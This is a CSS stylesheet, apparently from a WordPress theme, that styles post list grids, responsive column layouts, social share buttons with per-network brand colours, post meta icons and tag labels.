	.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),
	.pc-fho-msli.columns-5 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(5),
	.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4),
	.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(5),
	.pc-fho-msli.columns-6 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(6) {
		margin-bottom: 0
	}
}
@media only screen and (min-width:768px) and (max-width:1169px) {
	.pc-fho-msli.tablet-columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.tablet-columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.tablet-columns-3 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2),
	.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(3),
	.pc-fho-msli.tablet-columns-4 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(4) {
		margin-bottom: 0
	}
}
@media only screen and (max-width:767px) {
	.pc-fho-msli.mobile-columns-2 .pc-fho-msli-inner-ct>.pc-fho-li:nth-last-child(2) {
		margin-bottom: 0
	}
}
.pc-fho-wrap .pc-fho-cat a,
.pc-fho-wrap .pc-fho-cat a:hover {
	text-decoration: none
}
.pc-fho-wrap .pc-fho-list-img {
	margin-bottom: 15px
}
.pc-fho-wrap .pc-fho-list-img a {
	display: block
}
.pc-fho-wrap .pc-fho-li .icon-post-format {
	top: 50%;
	right: auto;
	left: 50%;
	width: 38px;
	height: 38px;
	line-height: 34px;
	font-size: 18px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	margin: -18px 0 0 -18px
}
.pc-fho-slolay {
	position: absolute;
	top: 0;
	width: 100%;
	height: 100%;
	left: 0;
	display: block;
	z-index: 1;
	background: var(--sobg);
	transition: all .3s
}
.pc-fho-wrap .pc-fho-list-img:hover .pc-fho-slolay {
	background: var(--sohbg)
}
.pc-fho-wrap .pc-fho-li .icon-post-format i.penci-faicon {
	line-height: inherit
}
.pc-fho-wrap .pc-fho-li .pc-fho-list-img:hover .icon-post-format {
	opacity: 0;
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5)
}
.pc-fho-wrap .pc-fho-li .penci-piechart.penci-piechart-small {
	top: 10px;
	right: 10px
}
.pc-fho-wrap .pc-fho-lt h3 {
	margin-bottom: 0;
	font-size: 18px;
	line-height: 1.3
}
.pc-fho-cat {
	line-height: 1;
	margin-bottom: 4px
}
.pc-fho-wrap .grid-post-box-meta {
	margin-top: 5px
}
.pc-fho-mpct .grid-post-box-meta a,
.pc-fho-mpct .grid-post-box-meta span,
.pc-fho-wrap .cat>a.penci-cat-name,
.pc-fho-wrap .pc-fho-lm a,
.pc-fho-wrap .pc-fho-lm span,
.pc-fho-wrap .pc-fho-lt a {
	color: #fff;
	text-decoration: none
}
@media only screen and (min-width:768px) and (max-width:1169px) {
	.pc-fho-wrap .pc-fho-msli.tablet-columns-2 .pc-fho-li {
		flex: 0 0 50%
	}
	.pc-fho-wrap .pc-fho-msli.tablet-columns-3 .pc-fho-li {
		flex: 0 0 33.3333333333%
	}
	.pc-fho-wrap .pc-fho-msli.tablet-columns-4 .pc-fho-li {
		flex: 0 0 25%
	}
	.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3 {
		font-size: 42px
	}
}
@media only screen and (min-width:768px) {
	.pc-fho-wrap .pc-fho-mp {
		background: unset !important
	}
}
@media only screen and (max-width:767px) {
	.pc-fho-wrap .mp-link {
		display: none
	}
	.pc-fho-wrap .pc-fho-bg-wrap {
		padding: 0;
		background: unset !important
	}
	.pc-fho-wrap .pc-fho-mp {
		padding: 40px 20px;
		background-size: cover;
		position: relative
	}
	.pc-fho-wrap .pc-fho-mp:before {
		content: "";
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
		position: absolute;
		background-color: var(--obg);
		z-index: 2;
		transition: .3s background-color ease-in-out
	}
	.pc-fho-wrap .pc-fho-mp:hover:before {
		background-color: var(--ohbg)
	}
	.pc-fho-wrap .pc-fho-mpct .pc-fho-mi {
		flex: 0 0 100%;
		margin-bottom: var(--maingap)
	}
	.pc-fho-wrap .pc-fho-mpct .pc-fho-mc {
		flex: 0 0 100%;
		text-align: center
	}
	.pc-fho-wrap .pc-fho-mc .pc-fho-mt h3 {
		font-size: 20px;
		line-height: 1.2
	}
	.pc-fho-wrap .pc-fho-msli .pc-fho-li {
		flex: 0 0 50%;
		margin-bottom: 30px
	}
	.pc-fho-wrap .pc-fho-mi-i i {
		font-size: 28px
	}
	.pc-fho-wrap {
		--iconsz: 60px;
		--iconbd: 2px;
		--maingap: 20px
	}
	.pc-fho-wrap .pc-fho-msli {
		margin-top: 30px
	}
	.pc-fho-wrap .pc-fho-msli.mobile-columns-1 .pc-fho-li {
		flex: 0 0 100%
	}
	.pc-fho-wrap .pc-fho-lm a {
		color: var(--pctext-cl)
	}
	.pc-fho-wrap .pc-fho-lm span {
		color: var(--pcmeta-cl)
	}
	.pc-fho-wrap .pc-fho-li .cat>a.penci-cat-name {
		color: var(--pcaccent-cl)
	}
	.pc-fho-wrap .pc-fho-lt a {
		color: var(--pcheading-cl)
	}
}
.pctmp-term-list .term-labels {
	display: inline-block
}
.pctmp-term-list .pctmp-term-item,
.pctmp-term-list li {
	display: inline-block
}
.pctmp-term-list li .count {
	margin-left: 5px
}
.elementor-widget-penci-single-related-posts .post-related {
	border: 0
}
.elementor-widget-penci-single-comment-form h3.comment-reply-title {
	border-top: 0 !important;
	padding-top: 0 !important
}
.pcmt-icon {
	display: inline-block;
	vertical-align: baseline
}
.tags-share-box.pcnew-share,
.tags-share-box.share-box-border-bot.pcnew-share,
.tags-share-box.tags-share-box-bot.pcnew-share,
.tags-share-box.tags-share-box-top.pcnew-share {
	border-top: 0;
	border-bottom: 0;
	padding-top: 0;
	padding-bottom: 0;
	margin-bottom: 15px
}
.tags-share-box.post-share {
	top: 0
}
.pcnew-share .post-share-item {
	margin: 0 4px 0 4px
}
.tags-share-box.disable-btnplus {
	white-space: normal;
	opacity: 1 !important
}
.tags-share-box.post-share.disable-btnplus .auto-hidden {
	display: inline-block !important
}
.tags-share-box.post-share.disable-btnplus .post-share-expand {
	display: none !important;
	visibility: hidden !important
}
.pcnew-share.penci-icon-full .post-share-item i,
.pcnew-share:not(.penci-icon-full) .post-share-item {
	position: relative;
	display: inline-block;
	margin: 0 4px 8px;
	height: 40px;
	min-width: 40px;
	line-height: 40px;
	font-size: 14px;
	text-align: center;
	vertical-align: middle;
	color: #fff;
	overflow: hidden
}
body:not(.rtl) .tags-share-box.post-share.disable-btnplus .post-share-item {
	margin-left: 0 !important;
	margin-right: 8px
}
body.rtl .tags-share-box.post-share.disable-btnplus .post-share-item {
	margin-right: 0 !important;
	margin-left: 8px
}
.tags-share-box-n1.penci-social-colored a i.fa-heart,
.tags-share-box-n10.penci-social-colored a i.fa-heart,
.tags-share-box-n12.penci-social-colored a i.fa-heart,
.tags-share-box-n19.penci-social-colored a i.fa-heart,
.tags-share-box-n20.penci-social-colored a i.fa-heart,
.tags-share-box-n3.penci-social-colored a i.fa-heart,
.tags-share-box-n5.penci-social-colored a i.fa-heart,
.tags-share-box-n8.penci-social-colored a i.fa-heart {
	background-color: transparent !important
}
.pcnew-share .post-share-item:not(.post-share-plike) i {
	z-index: 1
}
.pcnew-share.penci-icon-full .post-share-item i {
	margin: 0
}
.pcnew-share.full-border.penci-icon-full.border-style .post-share-item.post-share-plike i {
	vertical-align: top
}
.pcnew-share .post-share-item {
	transition: opacity .3s ease-in-out
}
.pcnew-share .post-share-item:hover {
	opacity: .85
}
.tags-share-box.pcnew-share {
	padding-right: 0
}
.pcnew-share .post-share a {
	margin: 0 0 0 5px
}
.pcnew-share .post-share-item i,
.pcnew-share.penci-icon-full .post-share-item i {
	margin-bottom: 0
}
.pcnew-share.border-style:not(.penci-icon-full) .post-share-item,.pcnew-share.full-border .post-share-item,.pcnew-share.penci-icon-full.border-style .post-share-item i {
	border: 1px solid var(--pcborder-cl);
	margin-bottom: 0
}
.pcnew-share.full-border.penci-icon-full.border-style .post-share-item i {
	margin: 0;
	border-width: 0
}
.show-txt.border-style.full-border a .dt-share {
	border: 0;
	margin: 0;
	padding: 0 15px
}
.pcnew-share.full-border .post-share-item {
	padding-left: 0;
	padding-right: 0
}
.pcnew-share.size-large .post-share-item,
.pcnew-share.size-large.penci-icon-full .post-share-item i {
	height: 60px;
	min-width: 60px;
	line-height: 60px;
	font-size: 18px;
	vertical-align: top
}
.pcnew-share.size-large.penci-icon-full.txt-below .post-share-item i {
	line-height: 75px
}
.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-plike i {
	width: auto;
	min-width: unset
}
.rounder .post-share-item,
.rounder .post-share-item i {
	border-radius: 50px
}
.pcnew-share .post-share-plike {
	background-color: #000;
	padding-left: 10px
}
.pcnew-share.border-style .post-share-plike {
	background-color: transparent;
	color: #000;
	border: 1px solid var(--pcborder-cl)
}
.pcnew-share.border-style:not(.tags-share-box-n20) .post-share-plike i {
	border: 0 !important
}
.pcnew-share .post-share-plike .post-share-item,
.pcnew-share.penci-icon-full .post-share-plike .post-share-item i {
	width: auto
}
.pcnew-share a.penci-post-like:after {
	display: none
}
.pcnew-share.post-share {
	position: initial
}
.show-txt.post-share a .dt-share {
	position: static;
	padding: 0;
	margin: 0 0 0 8px;
	opacity: 1;
	visibility: visible;
	background-color: transparent;
	font-size: 13px;
	width: auto;
	max-width: unset
}
.show-txt.focus-icon.post-share a .dt-share {
	border: 0
}
.show-txt.focus-icon .post-share-item i {
	background-color: rgba(0, 0, 0, .5);
	height: 40px;
	min-width: 40px;
	line-height: 40px
}
.show-txt.focus-icon .post-share-item.post-share-plike i {
	background-color: transparent;
	min-width: unset
}
.show-txt a:not(.single-like-button) {
	padding-left: 12px;
	padding-right: 12px
}
.show-txt.focus-icon a {
	padding-left: 0
}
.show-txt.rounder a {
	padding-left: 20px;
	padding-right: 20px
}
.show-txt.rounder a.single-like-button {
	padding-left: 0;
	padding-right: 0
}
.show-txt.post-share a .dt-share:after,
.show-txt.post-share a .dt-share:before {
	display: none
}
.show-shadow:not(.show-txt).post-share .post-share-item.post-share-plike,
.show-shadow:not(.show-txt).post-share .post-share-item:not(.post-share-plike) i {
	-webkit-box-shadow: inset 0 -3px 0 0 rgba(0, 0, 0, .31);
	box-shadow: inset 0 -3px 0 0 rgba(0, 0, 0, .31)
}
.show-shadow.show-txt.post-share .post-share-item {
	-webkit-box-shadow: inset 0 -3px 0 0 rgba(0, 0, 0, .31);
	box-shadow: inset 0 -3px 0 0 rgba(0, 0, 0, .31)
}
.show-txt.txt-below.size-large.post-share a {
	position: relative;
	line-height: 50px;
	height: 90px
}
.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike,
.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike i {
	line-height: 90px;
	height: 90px
}
.show-txt.txt-below.pcnew-share.size-large .post-share-item.post-share-plike i {
	background-color: transparent !important
}
.show-txt.txt-below.size-large.post-share a i {
	font-size: 22px
}
.show-txt.txt-below.post-share a .dt-share {
	display: block;
	position: absolute;
	bottom: 5px;
	left: 0;
	right: 0;
	z-index: 2;
	color: #fff;
	margin: 0;
	padding: 0;
	border: 0;
	line-height: 1
}
.show-txt.border-style.post-share a .dt-share {
	color: #000;
	border-color: rgba(0, 0, 0, .1)
}
.no-spacing .post-share-item,
.no-spacing .post-share-item i,
.pcnew-share.penci-icon-full.no-spacing .post-share-item i {
	margin-left: 0;
	margin-right: 0
}
.black-ver .post-share-item,
.black-ver .post-share-item i {
	background-color: #000;
	color: #fff
}
.black-ver .post-share-item.post-share-plike i {
	background-color: transparent !important
}
.tags-share-box-n19.pcnew-share.border-style .post-share-item i,
.tags-share-box-n20 .post-share-item i,
.tags-share-box-n20.pcnew-share.border-style .post-share-item i {
	position: relative;
	color: #fff
}
.tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike,
.tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike {
	padding-left: 12px;
	padding-right: 12px
}
.tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i,
.tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i {
	padding-right: 5px;
	background-color: transparent
}
.tags-share-box-n19 .count-number-like,
.tags-share-box-n20 .count-number-like {
	float: right;
	padding: 0
}
.tags-share-box-n20.pcnew-share.penci-icon-full .post-share-item i {
	overflow: visible
}
.tags-share-box-n20 .post-share-item i:after {
	content: "";
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 6px 0 6px 5px;
	border-color: transparent transparent transparent transparent;
	border-left-color: inherit;
	position: absolute;
	top: 50%;
	bottom: 50%;
	left: 100%;
	transform: translateY(-50%)
}
.tags-share-box-n20 .post-share-item.post-share-plike i:after {
	display: none
}
.pcnew-share .post-share-plike {
	height: 40px;
	display: inline-block;
	line-height: 40px;
	overflow: hidden
}
.pcnew-share .penci-social-share-text {
	min-width: 40px;
	height: 40px;
	line-height: 40px;
	border: 1px solid var(--pcborder-cl);
	display: inline-block;
	padding: 0 15px;
	margin-right: 12px;
	position: relative;
	vertical-align: top !important;
	font-weight: 700;
	text-transform: uppercase;
	font-size: 13px
}
.pcnew-share .post-share-plike i,
.pcnew-share.penci-icon-full .post-share-item.post-share-plike i {
	min-width: unset
}
.pcnew-share .post-share-plike {
	padding-left: 12px;
	padding-right: 12px
}
.pcnew-share.border-style.show-txt .penci-social-share-text,
.pcnew-share.border-style.show-txt .post-share-plike {
	height: 42px;
	line-height: 42px
}
.pcnew-share .penci-social-share-text:after,
.pcnew-share .penci-social-share-text:before {
	content: "";
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 8px 0 8px 8px;
	border-color: transparent transparent transparent var(--pcborder-cl);
	position: absolute;
	top: 50%;
	bottom: 50%;
	left: 100%;
	transform: translateY(-50%)
}
.pcnew-share .penci-social-share-text:after {
	border-width: 6px 0 6px 6px;
	border-color: transparent transparent transparent var(--pcbg-cl)
}
.size-large.pcnew-share .penci-social-share-text {
	height: 60px;
	line-height: 60px
}
.size-large.pcnew-share.show-txt.txt-below .penci-social-share-text {
	height: 90px;
	line-height: 90px
}
.penci-social-share-text {
	vertical-align: middle
}
.penci-social-share-text i {
	display: inline-block;
	vertical-align: middle;
	margin-right: 8px;
	font-size: 14px;
	transform: translateY(-1px)
}
.tags-share-box-n19.post-share a.penci-post-like,
.tags-share-box-n20.post-share a.penci-post-like {
	padding-right: 0;
	padding-left: 0;
	margin-left: 0;
	background-color: var(--pcaccent-cl);
	color: #fff
}
.pcnew-share.penci-social-colored .post-share-plike i.fa-heart-o {
	background: 0 0 !important
}
.pcnew-share.penci-social-colored .post-share-item.post-share-plike {
	background-color: var(--pcaccent-cl)
}
.pcnew-share.penci-social-colored .post-share-item.post-share-plike .count-number-like,
.post-share.tags-share-box-n14 .count-number-like {
	color: #fff
}
.post-meta-share {
	position: relative;
}
.post-meta-share:hover .penci-pshare-dropdown {
	visibility: visible;
	opacity: 1;
	transform: translateY(10px);
}
.post-meta-share .post-share-text:before {
	content: '\f1e0';
	font-family: 'FontAwesome';
	margin-right: 5px;
}  
.penci-pshare-dropdown a:hover {
	background: #f1f1f1;
}
.penci-pshare-dropdown {
	display: block;
	position: absolute;
	z-index: 9;
	background: #fff;
	padding: 0;
	top: 100%;
	left: 12px;
	width: 170px;
	opacity: 0;
	visibility: hidden;
	transition: 0.3s all ease-in-out;
	transform: translateY(40px);
	box-shadow: 0px 4px 8px rgba(174, 174, 174, 0.5);
}
.penci-pshare-dropdown a {
	display: flex;
	align-items: center;
	padding: 10px 20px;
	border-bottom: 1px solid var(--pcborder-cl);
	color: var(--pcheading-cl);
}
.penci-pshare-dropdown a i {
	transform: unset !important;
}
.penci-pshare-dropdown a span,
.penci-header-text-white .post-box-meta-single .penci-pshare-dropdown a span{
	color: inherit;
}
.penci-pshare-dropdown a:hover {
	color: var(--pcaccent-cl);
}
.penci-pshare-dropdown a i {
	margin-right: 5px;
}
.penci-pshare-dropdown a:nth-last-child(-n + 2) {
	border-bottom: 0;
}
.penci-pshare-dropdown .post-share-expand {
	display: none;
}
.penci-social-colored a i.fa-facebook,
.penci-social-colored a i.fa-facebook-f,
.penci-social-colored a i.penciicon-facebook {
	border-left-color: #0d47a1 !important
}
.penci-social-colored a i.fa-twitter,
.penci-social-colored a i.penciicon-twitter,
.penci-social-colored a i.penciicon-x-twitter {
	border-left-color: #40c4ff !important
}
.penci-social-colored a i.fa-google-plus {
	border-left-color: #eb4026 !important
}
.penci-social-colored a i.fa-instagram,
.penci-social-colored a i.penciicon-instagram {
	border-left-color: #4d7a9e !important
}
.penci-social-colored a i.fa-pinterest,
.penci-social-colored a i.penciicon-pinterest {
	border-left-color: #bd081c !important
}
.penci-social-colored a i.fa-linkedin,
.penci-social-colored a i.fa-linkedin-in,
.penci-social-colored a i.penciicon-linkedin {
	border-left-color: #0077b5 !important
}
.penci-social-colored a i.fa-flickr,
.penci-social-colored a i.penciicon-flickr {
	border-left-color: #ff0084 !important
}
.penci-social-colored a i.fa-behance,
.penci-social-colored a i.penciicon-behance {
	border-left-color: #053eff !important
}
.penci-social-colored a i.fa-tumblr,
.penci-social-colored a i.penciicon-tumblr {
	border-left-color: #34465d !important
}
.penci-social-colored a i.fa-youtube,
.penci-social-colored a i.fa-youtube-play,
.penci-social-colored a i.penciicon-youtube {
	border-left-color: red !important
}
.penci-social-colored a i.fa-envelope,
.penci-social-colored a i.fa-envelope-o,
.penci-social-colored a i.penciicon-email {
	border-left-color: #0084ff !important
}
.penci-social-colored a i.fa-vk,
.penci-social-colored a i.penciicon-vk {
	border-left-color: #5181b8 !important
}
.penci-social-colored a i.fa-pocket {
	border-left-color: #ef4056 !important
}
.penci-social-colored a i.fa-skype {
	border-left-color: #00aff0 !important
}
.penci-social-colored a i.fa-heart {
	border-left-color: #000 !important
}
.penci-social-colored a i.fa-vine,
.penci-social-colored a i.penciicon-vine {
	border-left-color: #00b98a !important
}
.penci-social-colored a i.fa-soundcloud,
.penci-social-colored a i.penciicon-soundcloud {
	border-left-color: #f76201 !important
}
.penci-social-colored a i.fa-snapchat,
.penci-social-colored a i.fa-snapchat-ghost,
.penci-social-colored a i.penciicon-snapchat {
	border-left-color: #f6f600 !important
}
.penci-social-colored a i.fa-spotify,
.penci-social-colored a i.penciicon-spotify {
	border-left-color: #22c95c !important
}
.penci-social-colored a i.fa-github,
.penci-social-colored a i.penciicon-github {
	border-left-color: #302f2f !important
}
.penci-social-colored a i.fa-stack-overflow,
.penci-social-colored a i.penciicon-stack-overflow {
	border-left-color: #f7a000 !important
}
.penci-social-colored a i.fa-twitch,
.penci-social-colored a i.penciicon-twitch {
	border-left-color: #613fa0 !important
}
.penci-social-colored a i.fa-vimeo,
.penci-social-colored a i.fa-vimeo-v,
.penci-social-colored a i.penciicon-vimeo {
	border-left-color: #00a8e8 !important
}
.penci-social-colored a i.fa-steam,
.penci-social-colored a i.penciicon-steam {
	border-left-color: #bcbab8 !important
}
.penci-social-colored a i.fa-xing,
.penci-social-colored a i.penciicon-xing {
	border-left-color: #007c7c !important
}
.penci-social-colored a i.fa-whatsapp,
.penci-social-colored a i.penciicon-whatsapp {
	border-left-color: #00e676 !important
}
.penci-social-colored a i.fa-heart-o {
	border-left-color: var(--pcaccent-cl) !important
}
.penci-social-colored a i.fa-telegram,
.penci-social-colored a i.penciicon-telegram {
	border-left-color: #289fd9 !important
}
.penci-social-colored a i.fa-reddit-alien,
.penci-social-colored a i.penciicon-reddit {
	border-left-color: #f74300 !important
}
.penci-social-colored a i.fa-odnoklassniki,
.penci-social-colored a i.penciicon-odnoklassniki {
	border-left-color: #f18f00 !important
}
.penci-social-colored a i.fa-500px {
	border-left-color: #0af !important
}
.penci-social-colored a i.fa-stumbleupon,
.penci-social-colored a i.penciicon-stumbleupon {
	border-left-color: #eb4823 !important
}
.penci-social-colored a i.fa-weixin,
.penci-social-colored a i.penciicon-wechat {
	border-left-color: #0fc91c !important
}
.penci-social-colored a i.fa-weibo,
.penci-social-colored a i.penciicon-sina-weibo {
	border-left-color: #df152c !important
}
.penci-social-colored a i.fa-rss,
.penci-social-colored a i.penciicon-rss {
	border-left-color: #f0941a !important
}
.penci-social-colored a i.fa-line,
.penci-social-colored a i.penci-icon-line,
.penci-social-colored a i.penciicon-line,
.penci-social-colored a i.penciicon-line-1 {
	border-left-color: #01b901 !important
}
.penci-social-colored a i.fa-viber,
.penci-social-colored a i.penci-icon-viber,
.penci-social-colored a i.penciicon-viber,
.penci-social-colored a i.penciicon-viber-1 {
	border-left-color: #7d51a0 !important
}
.penci-social-colored a i.fa-discord,
.penci-social-colored a i.penci-icon-discord,
.penci-social-colored a i.penciicon-discord,
.penci-social-colored a i.penciicon-discord-1 {
	border-left-color: #7289da !important
}
.penci-social-colored a i.fa-slack,
.penci-social-colored a i.penciicon-slack {
	border-left-color: #611f69 !important
}
.penci-social-colored a i.fa-mixcloud {
	border-left-color: #f3b2a6 !important
}
.penci-social-colored a i.fa-goodreads,
.penci-social-colored a i.penci-icon-goodreads,
.penci-social-colored a i.penciicon-goodreads {
	border-left-color: #8a5724 !important
}
.penci-social-colored a i.fa-tripadvisor,
.penci-social-colored a i.penciicon-tripadvisor {
	border-left-color: #34e0a1 !important
}
.penci-social-colored a i.fa-tiktok,
.penci-social-colored a i.penci-icon-tiktok,
.penci-social-colored a i.penciicon-tik-tok,
.penci-social-colored a i.penciicon-tik-tok-1 {
	border-left-color: #fe2c55 !important
}
.penci-social-colored a i.penciicon-douban-logo {
	border-left-color: #00b51d !important
}
.penci-social-colored a i.penciicon-qq-social-logo-of-a-penguin {
	border-left-color: #4292ff !important
}
.penci-social-colored a i.penciicon-letter-d {
	border-left-color: #000 !important
}
.penci-social-colored a i.penciicon-blogger,
.penci-social-colored a i.penciicon-blogger-1 {
	border-left-color: #ed7800 !important
}
.penci-social-colored a i.fa-delicious {
	border-left-color: #0078f0 !important
}
.penci-social-colored a i.penciicon-deviantart,
.penci-social-colored a i.penciicon-deviantart-1 {
	border-left-color: #01ca3a !important
}
.penci-social-colored a i.fa-digg {
	border-left-color: #005be2 !important
}
.penci-social-colored a i.penciicon-evernote,
.penci-social-colored a i.penciicon-evernote-1 {
	border-left-color: #00a32c !important
}
.penci-social-colored a i.penciicon-forrst,
.penci-social-colored a i.penciicon-forrst-1 {
	border-left-color: #054958 !important
}
.penci-social-colored a i.penciicon-grooveshark,
.penci-social-colored a i.penciicon-grooveshark-1 {
	border-left-color: #f75421 !important
}
.penci-social-colored a i.penciicon-lastfm {
	border-left-color: #e31b23 !important
}
.penci-social-colored a i.penciicon-myspace,
.penci-social-colored a i.penciicon-myspace-logo {
	border-left-color: #0037c1 !important
}
.penci-social-colored a i.fa-paypal,
.penci-social-colored a i.penciicon-brand {
	border-left-color: #0070ba !important
}
.penci-social-colored a i.fa-skype,
.penci-social-colored a i.penciicon-skype {
	border-left-color: #00aff0 !important
}
.penci-social-colored a i.fa-windows,
.penci-social-colored a i.penciicon-windows {
	border-left-color: #00adef !important
}
.penci-social-colored a i.fa-wordpress,
.penci-social-colored a i.penciicon-wordpress-logo {
	border-left-color: #21759b !important
}
.penci-social-colored a i.penciicon-yahoo-logo {
	border-left-color: #6001d2 !important
}
.penci-social-colored a i.penciicon-y {
	border-left-color: #fc401d !important
}
.penci-social-colored a i.fa-get-pocket {
	border-left-color: #e83c53 !important
}
.pcnew-share.border-style .post-share-item i {
	color: #000
}
.post-box-meta-single .pcmt-icon {
	text-align: center !important;
	margin-right: 5px
}
.post-box-meta-single .pcmt-icon i {
	vertical-align: baseline;
	line-height: inherit
}
.post-box-meta-single.style-s1 .pcmt-icon,
.post-box-meta-single.style-s2 .pcmt-icon,
.post-box-meta-single.style-s3 .pcmt-icon,
.post-box-meta-single.style-s4 .pcmt-icon {
	width: 24px;
	height: 24px;
	line-height: 24px
}
.post-box-meta-single.style-s1 .pcmt-icon {
	background-color: #000;
	color: #fff
}
.post-box-meta-single.style-s2 .pcmt-icon {
	background-color: #000;
	color: #fff;
	border-radius: 50px !important
}
.post-box-meta-single.style-s3 .pcmt-icon {
	background-color: #000;
	color: #fff;
	position: relative
}
.post-box-meta-single.style-s3 .pcmt-icon:after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 4px 0 4px 3px;
	border-color: transparent transparent transparent #000;
	top: 50%;
	bottom: auto;
	left: 100%;
	transform: translateY(-50%)
}
.post-box-meta-single.style-s4 .pcmt-icon {
	border: 1px solid var(--pcborder-cl) !important;
	position: relative
}
.post-box-meta-single.style-s4 .pcmt-icon:before {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 4px 0 4px 4px;
	border-color: transparent transparent transparent #fff;
	top: calc(50% - 4px);
	bottom: 50%;
	right: -4px;
	z-index: 2
}
.post-box-meta-single.style-s4 .pcmt-icon:after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 6px 0 6px 6px;
	border-color: transparent transparent transparent var(--pcborder-cl);
	top: calc(50% - 6px);
	bottom: 50%;
	right: -6px;
	z-index: 1
}
.tags-share-box.post-share .auto-hidden {
	display: none !important
}
.tags-share-box.post-share .auto-hidden.active {
	display: inline-block !important
}
.pcnew-share .post-share-item {
	margin-bottom: 8px !important
}
.pctmp-term-list.label-style-s1 .term-labels,
.pctmp-term-list.term-style-s1 .pctmp-term-item {
	text-transform: uppercase;
	color: var(--pcmeta-cl);
	padding: 6px 12px 5px;
	margin-right: 8px;
	margin-bottom: 8px;
	display: inline-block;
	font-size: 11px;
	background: 0 0;
	border: 1px solid var(--pcborder-cl);
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	outline: 0;
	font-weight: 400;
	line-height: 1.2
}
.pctmp-term-list .term-labels i,
.pctmp-term-list .term-labels svg {
	vertical-align: middle;
	margin-right: 3px
}
.pctmp-term-list .term-labels svg {
	width: auto;
	max-height: 10px;
	display: inline-block
}
.pctmp-term-list.label-style-s2 .term-labels,
.pctmp-term-list.label-style-s3 .term-labels,
.pctmp-term-list.label-style-s4 .term-labels,
.pctmp-term-list.term-style-s2 .pctmp-term-item,
.pctmp-term-list.term-style-s3 .pctmp-term-item,
.pctmp-term-list.term-style-s4 .pctmp-term-item {
	padding: 6px 12px;
	border: 1px solid var(--pcborder-cl);
	color: #000;
	margin-left: 8px;
	margin-bottom: 8px;
	text-transform: uppercase;
	font-size: 11px
}
.pctmp-term-list.label-style-s3 .term-labels,
.pctmp-term-list.term-style-s3 .pctmp-term-item {
	border-radius: 50px
}
.pctmp-term-list.label-style-s4 .term-labels,
.pctmp-term-list.term-style-s4 .pctmp-term-item {
	border: 0;
	border-bottom: 2px solid var(--pcborder-cl);
	background-color: #f1f1f1
}
.pctmp-term-list .pctmp-term-item.current-item,
.pctmp-term-list .pctmp-term-item:hover,
.pctmp-term-list.term-style-s4 .pctmp-term-item.current-item,
.pctmp-term-list.term-style-s4 .pctmp-term-item:hover {
	border-color: var(--pcaccent-cl);
	background-color: var(--pcaccent-cl);
	color: #fff
}
.tags-share-box.post-share {
	position: relative;
	background: var(--pcbg-cl);
	z-index: 1;
}
.item.hentry .post-share-item.post-share-expand,
.item.hentry .post-share-item.post-share-plike,
.penci-featured-share-box .post-share-expand {
	display: none !important
}
.post-share-item.post-share-expand {
	visibility: hidden
}
body:not(.rtl) .post-share-item.post-share-expand {
	margin-right: 0 !important
}
body.rtl .post-share-item.post-share-expand {
	margin-left: 0 !important
}
.post-share-item.post-share-expand.showing {
	visibility: visible
}
.post-share-item.post-share-expand.hidden {
	display: none
}
.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i,
.penci-social-colored .post-share-item.post-share-expand i,
.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand {
	background-color: var(--pctext-cl);
	color: var(--pcbg-cl)
}
.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i:after,
.penci-social-colored .post-share-item.post-share-expand i:after {
	display: none
}
.tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike .count-number-like,
.tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike a {
	color: #fff
}
.pcnew-share:not(.penci-icon-full) .post-share-item.post-share-expand {
	padding-left: 0;
	padding-right: 0;
	font-size: 15px
}
.tags-share-box-s1 .post-share-item {
	background-color: transparent !important
}
.tags-share-box.tags-share-box-2_3 .post-share-expand i {
	transform: translateY(-1px)
}
.pcnew-share .post-share-expand i {
	transform: translateY(1px)
}
.pcnew-share.penci-icon-full .post-share-expand i {
	transform: none
}
.pcnew-share.no-spacing .post-share-expand i {
	transform: none
}
.tags-share-box {
	white-space: nowrap;
	opacity: 0;
	transition: opacity .15s ease-in-out
}
.tags-share-box.showing-hidden {
	white-space: normal
}
.tags-share-box.tags-share-box-s1 {
	opacity: 1;
	white-space: normal
}
